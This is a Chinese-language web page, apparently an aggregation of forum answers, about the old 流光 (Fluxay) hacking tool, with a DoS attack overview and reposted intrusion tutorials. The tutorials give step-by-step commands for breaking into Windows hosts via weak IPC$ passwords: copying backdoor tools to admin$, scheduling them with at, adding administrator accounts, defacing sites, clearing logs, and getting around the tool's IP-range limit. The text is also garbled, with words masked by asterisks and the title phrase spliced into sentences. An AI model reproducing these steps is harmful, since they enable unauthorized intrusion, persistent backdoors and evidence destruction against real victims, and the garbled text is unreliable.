流光攻击软件的工作原理,流光软件入侵

作者:hacker | 分类:破解 | 浏览:135 | 日期:2022年07月17日

1、流光的使用
2、 *** 上那些直接攻击个人电脑怎么实现的？
3、请问流光软件是什么软件？有什么作用和怎样使用的？
4、流光使用详细说明
5、不知道，为什么运行流光软件（扫描IP、端口）时总被杀毒软件清除，请高手指点啊、谢谢
6、流光软件是干什么的？

流光的使用

流光是功能很强大的安全软件，但是也很复杂，在这上一点一点打字根本说不明白。你要是去网上搜流光教程，基本上没有全的，有全的相信你也看不下去，，，我先跟你说一下过程吧，（当然不一定要用流光，其他的软件也可以达到目的，而且很多软件很简单，看你用什么顺手流光攻击软件的工作原理了！）攻击有很多方式，首先是扫描对方端口，通过看他开流光攻击软件的工作原理了哪些端口就知道他运行了什么服务，扫描器有x-scan,superscan等，很多，如果通过扫描看到他80，8080端口开了，就说明他有http服务，也就是有网站。当然这并不一定，有的网站是改了端口的，你扫描不到80；如果开了3389 ，就是开了远程连接，你可以通过附件里的远程桌面连接连上他，（不过要是不知道密码，或者技术不够的的话连上也没什么用）。其实这一步挑战才刚刚开始，就是怎么破解他的密码，这要综合运用电脑技术，社会工程学等的内容。至于怎么拿到shell，只就是看你的技术了，笨人有笨的 *** ，比如说暴力破解，就是用穷举法一个一个的猜，不到万不得已，没人会用这种 *** ；还有用字典的，就是流光里的那个用户帐户，你右键点他，就有用户帐户和密码，可以加字典破解的，不过解出来的概率也不太高。

再有就是用木马攻击的，木马是一个小程序，他的作用是偷偷地给你开一个端口，以便于对方控制你的电脑，跟3389远程连接类似，不过他不用猜你的帐户和密码。

种植木马也是很多 *** ，可以在某个网站挂马，这样访问过他的人而且电脑没装杀毒软件的很容易就中招了；或者通过u盘自动运行；或者通过qq，电子邮件传播，甚至你下某个软件都有可能中木马。

太具体的我就不说了，如果你很想了解这方面的内容建议你常去一些著名的黑客红客网站，我就不告诉你网址了以免有做广告的嫌疑！自己去搜吧！呵呵

*** 上那些直接攻击个人电脑怎么实现的？

玩黑不好，（虽然我也玩）它使用dos攻击来实现流光攻击软件的工作原理的，我准备学习dos简称拒绝服务又叫洪水攻击它是堵塞宽带来对别人造成流光攻击软件的工作原理的攻击。这是我找的：DoS是Denial of Service的简称，即拒绝服务，造成DoS的攻击行为被称为DoS攻击，其目的是使计算机或 *** 无法提供正常的服务。最常见的DoS攻击有计算机 *** 带宽攻击和连通性攻击。带宽攻击指以极大的通信量冲击 *** ，使得所有可用 *** 资源都被消耗殆尽，最后导致合法的用户请求就无法通过。连通性攻击指用大量的连接请求冲击计算机，使得所有可用的操作系统资源都被消耗殆尽，最终计算机无法再处理合法用户的请求。如：

��* 试图FLOOD服务器，阻止合法的 *** 通讯

��* 破坏两个机器间的连接，阻止访问服务

��* 阻止特殊用户访问服务

��* 破坏服务器的服务或者导致服务器死机

��不过，只有那些比较阴险的攻击者才单独使用DOS攻击，破坏服务器。通常，DOS攻击会被作为一次入侵的一部分，比如，绕过入侵检测系统的时候，通常从用大量的攻击出发，导致入侵检测系统日志过多或者反应迟钝，这样，入侵者就可以在潮水般的攻击中混骗过入侵检测系统。

DoS 攻击 (Denial of Service，简称DOS)即拒绝服务攻击，是指攻击者通过消耗受害 *** 的带宽，消耗受害主机的系统资源，发掘编程缺陷，提供虚假路由或DNS信息，使被攻击目标不能正常工作。实施DoS攻击的工具易得易用，而且效果明显。仅在美国，每周的DoS攻击就超过4 000次，攻击每年造成的损失达上千万美元{irl。一般的DoS攻击是指一台主机向目的主机发送攻击分组(1:1)，它的威力对于带宽较宽的站点几乎没有影响;而分布式拒绝服务攻击(Distributed Denial of Service，简称DDoS)同时发动分布于全球的几千台主机对目的主机攻击(m:n ),即使对于带宽较宽的站点也会产生致命的效果。随着电子商业在电子经济中扮演越来越重要的角色，随着信息战在军事领域应用的日益广泛，持续的DoS攻击既可能使某些机构破产，也可能使我们在信息战中不战而败。可以毫不夸张地说，电子恐怖活动的时代已经来临。

DoS 攻击中，由于攻击者不需要接收来自受害主机或 *** 的回应，它的IP包的源地址就常常是伪造的。特别是对DDoS攻击，最后实施攻击的若干攻击器本身就是受害者。若在防火墙中对这些攻击器地址进行IP包过滤，则事实上造成了新的DDS攻击。为有效地打击攻击者，必须设法追踪到攻击者的真实地址和身份。 *** ：Synflood: 该攻击以多个随机的源主机地址向目的主机发送SYN包，而在收到目的主机的SYN ACK后并不回应，这样，目的主机就为这些源主机建立了大量的连接队列，而且由于没有收到ACK一直维护着这些队列，造成了资源的大量消耗而不能向正常请求提供服务。

Smurf：该攻击向一个子网的广播地址发一个带有特定请求（如ICMP回应请求）的包，并且将源地址伪装成想要攻击的主机地址。子网上所有主机都回应广播包请求而向被攻击主机发包，使该主机受到攻击。

Land-based：攻击者将一个包的源地址和目的地址都设置为目标主机的地址，然后将该包通过IP欺骗的方式发送给被攻击主机，这种包可以造成被攻击主机因试图与自己建立连接而陷入死循环，从而很大程度地降低了系统性能。

Ping of Death：根据TCP/IP的规范，一个包的长度更大为65536字节。尽管一个包的长度不能超过65536字节，但是一个包分成的多个片段的叠加却能做到。当一个主机收到了长度大于65536字节的包时，就是受到了Ping of Death攻击，该攻击会造成主机的宕机。

Teardrop：IP数据包在 *** 传递时，数据包可以分成更小的片段。攻击者可以通过发送两段（或者更多）数据包来实现TearDrop攻击。之一个包的偏移量为0，长度为N，第二个包的偏移量小于N。为了合并这些数据段，TCP/IP堆栈会分配超乎寻常的巨大资源，从而造成系统资源的缺乏甚至机器的重新启动。

PingSweep：使用ICMP Echo轮询多个主机。

Pingflood: 该攻击在短时间内向目的主机发送大量ping包，造成 *** 堵塞或主机资源耗尽。

请问流光软件是什么软件？有什么作用和怎样使用的？

流光基础教程

作者流光攻击软件的工作原理：未知来源：从互联网收集整理并转载

很长时间也没有写什么东西了流光攻击软件的工作原理，这源于流光攻击软件的工作原理我的懒惰和生活缺乏 *** 。我的记事本上一大篇都是欠朋友的承诺：（你既然看到这儿了流光攻击软件的工作原理，就在听我牢骚几句吧：）搞安全应该有正确的心态，别以为你会了个工具使用就可以一步登天。交流、学习才是最重要的，把自己心态放正，无论我们是高还是低。

今天要写的是流光的IPC探测：

一、目的和任务：

1、用流光的IPC探测获得一台NT主机的管理权限，并将这台主机做成一个跳板/ *** 。

2、学习IPC探测的相关知识。

二、探测流程：

1、你得有流光，我这里试验用的是流光2001.FOR Win2000 中文版。FOR Win98的不可以。因为IPC连接功能是NT/ 2000提供的功能。而且流光FOR 2K 要求你的操作系统得是NT/2000，否则流光启动会失败！

什么是IPC：

IPC是指"InterProcess Communications",准确的说是ipc$，是默认的在系统启动时的admin共享。

IPC$是Windows NT/2K中特有的远程 *** 登陆功能，它的特点是在同一时间内，两个IP之间只允许建立一个连接。

注意，你试图通过IPC$连接会在EventLog中留下记录。不管你是否登录成功。

可不可以通过IPC$暴力破解密码流光攻击软件的工作原理？当然可以！不过，是不是太笨了点 …

2、首次启动流光，会看到注册的画面，具体操作请参考本人之一篇教程。我们在主页面上可以有几种 *** 来通过IPC 探测获得管理的权限。这里我们要作的是得到一台跳板，那么就可以用命中率高的办法来探测了（测试一堆IP来得到弱口令）。

在主界面选择探测→探测POP3/FTP/NT/SQL主机选项，或者直接按Ctrl+R。

3、出先了上面的小窗口，输入我们要破解的IP段，我们输入了来看看。图main2我们把“将FrontPage主机自动加入HTTP主机列表取消了”。因为我们只想获得IPC弱口令，这样可以加快扫描的速度：）填入IP，选择扫描NT/98主机

4、探测中……

（注意如果你要探测的是流光保留的国内的IP段，会被禁止的，也就是探测的时候信息栏出现"IP保留"的字样）

有远程主机的管理密码了，我们剩下的就是想办法控制它了，有什么好办么？：）有的是！自己看看工具－菜单下的IIS远程命令:)是不是很简单呢，我以后在说，今天还是先练习net 命令吧。

黑了他！

开个dos prompt 执行如下命令，本次用的例子如下图。

1、 net use \\对方ip\ipc$ "密码" /user:"用户名" || 建立远程连接

2、 copy icmd.exe \\对方ip\admin$ || admin$是对方的winnt目录：）这里文件多。

3、 net time \\对方IP || 看看对方的本地时间

4、at \\对方ip 启动程序的时间启动程序名启动程序的参数 || 用at命令来定时启动程序，在这里我们用soon这个程序来做也可以，它可以取代 3/4两步。

5、 telnet 对方ip 端口 ||

6、输入pass （如果不是用icmd.exe，或者没有设置口令就不用了） ||

7、在开个窗口，继续copy 我们用的东西。 copy sock.exe copy ntlm.exe copy cl.exe clear.exe

如果我们真的想黑了他，只需要把我们的首页文件覆盖目标的首页就ok了，我们可以通过dir /s default.htm或者dir /s index.htm 来确定对方首页的为止，一般是在X:\interpub\wwwroot\ .

假如首页文件是default.htm并且在c:\interpub\wwwroot，这样:copy default.htm \\ip\c$\interpub\wwwroot

下面的图有演示

8、其实黑人家是很低级并且没意思的：（，我们更好是物有所有，作成跳板吧，今后干活方便点：

执行我们copy 过去的ntlm.exe ，取消验正。在给自己留个后门，比如提升guest的权限，或者其它的后门工具，这类东西多了自己选吧，看看杀手copy的那堆东西：）

9、还能做成其他的么？

当然了，只要你有时间，并且愿意做，我曾经偷偷的把自己的主页放到人家的server上，速度快、空间无限，嘿嘿：）

10、日志清除，断开连接：

执行我们copy 过去的cl.exe clear.exe 都可以清除日志，比如clear all ：清除所有的日志。然后在断开连接：net use \\ip\ipc$ /delete

这步我认为是必需的，尤其是在一些有争议的站点上，或者是国内的站点，除非你想让电视上报导XXX地区我神勇刑警捕获弱智黑客一名XXX。

在网吧写完：（错误之处请赐教。

只要是学习、谁都会遇到困难，我也是问题多多，还得向小榕、EKIN讨教，欢迎大家多交流：）

流光使用详细说明

这里是视频教程探测-- 高级扫描工具这时会出现一个界面，让你选择探测选项。如果你想专门黑某个网站，就都选上吧。否则选其中的几个就可以了，比如，我们可以选择： ports,ftp,cgi/asp,sql,ipc,iis 然后选上起始地址和结束地址 ok~~搞定后点“确定” #这里我要说明一下： #流光是不允许扫描国内ip的，如果你一定要扫描，可以去下载去除限制的版本 #还有一个办法，你可以在启动流光之前把自己的ip改成你要扫描的网段，启动流光后再改 #回来这样就可以骗过流光，因为流光允许你扫自己网段的ip（榕哥别骂我呀），win2000在#更改ip后不需要重新启动，如果是98，不推荐用这种 *** 。不过还是建议你不要去扫国 #内的，除非你想让****叔叔来找你。运气好的话，一会工夫你就能扫到一些漏洞主机和一些弱口令了先看看扫到了什么在中间主机那里会把你扫到的漏洞主机列出来黑色主机（就是屏幕是黑色那种，建议你跟着做一下）就是可以直接执行命令的点黑色主机---连接---确定这时就弹出来iis远程命令，着时候你就可以远程在对方机器上执行命令了比如set就可以看对方的主页路径，dir看对方目录，del删除文件，很简单吧？也可以用copy命令把cmd（命令解释器）拷贝到可执行目录，然后用浏览器来攻击。其他几种颜色的不能直接执行命令，这里就不说了 #其实这个iis远程命令和直接在浏览器上攻击是一个原理的，只不过是把那些代码去掉，方#便使用。但我们还是guest权限，要想取得管理员权限就用入侵u漏洞主机的办法就可以 #了，传一个idq.dipc主机最下面的部分，也就是弱口令那里如果发现了ipc主机我们可以直接点主机---连接这时进入ipc远程命令界面，也就是ntcmd，这是我们具有system 权限，可以直接在对方机器上执行命令需要做什么自己想吧：）（当然是添加用户）不过要注意的是，我们用这个不能继续telnet到别的主机上，还有，添加了用户也不能直接登陆因为我们还需要更改2000的验证方式这时候就需要另一个工具--ipc种植者，在工具---nt/iis工具里选择种植者然后选tool目录下的ntlm然后填上用户名和密码点开始，一分钟以后自动执行就可以用自己填加的帐号登陆了，我们也可以用ipc远程命令直接启动ntlm,不过不要忘了需要重新启动telnet。当然我们也可以用种植者把srv也传过去，种植者会自动启动然后我们登陆99端口然后加用户---执行ntlm---启动telnet（如果已经启动要先关闭）另外我们也可以用入侵ipc的 *** ，net use…… 其实种植者和net use是一样的而且可以自动启动，节省时间。不过种植者有时候会失败，而直接net use后再copy可以成功.所以大家还是尽量学会命令方式下的入侵， *** 在流光的说明里面有。 ll上去连接，（说实话我很少用这个，因为毕竟用浏览器比较顺手） #可能有的朋友对为什么要用ntlm.exe有疑问。我解释一下。因为在默认情况下telnet是用#ntlm来验证的 #ntlm是nt4.0和以前版本常用的验证 *** ，作为win2000的三种验证 *** 之一。ntlm的直是2的时候 #是ntlm验证，我们需要把他改为1，这样就可以用ntlm和明文两种验证方式----我们需要的#就是这个 #而ntlm.exe就是这个原理，利用更改注册表中相应的键值的 *** ，改变验证方式 sql主机如果扫到了sql主机就可以直接用sql远程命令来执行命令了 ---直接点击主机即可进入命令界面命令和ipc的一样： net user 用户名密码 /add net localgroup administrators 用户名 /add 这样就添加了一个管理员剩下的就不用我说了吧。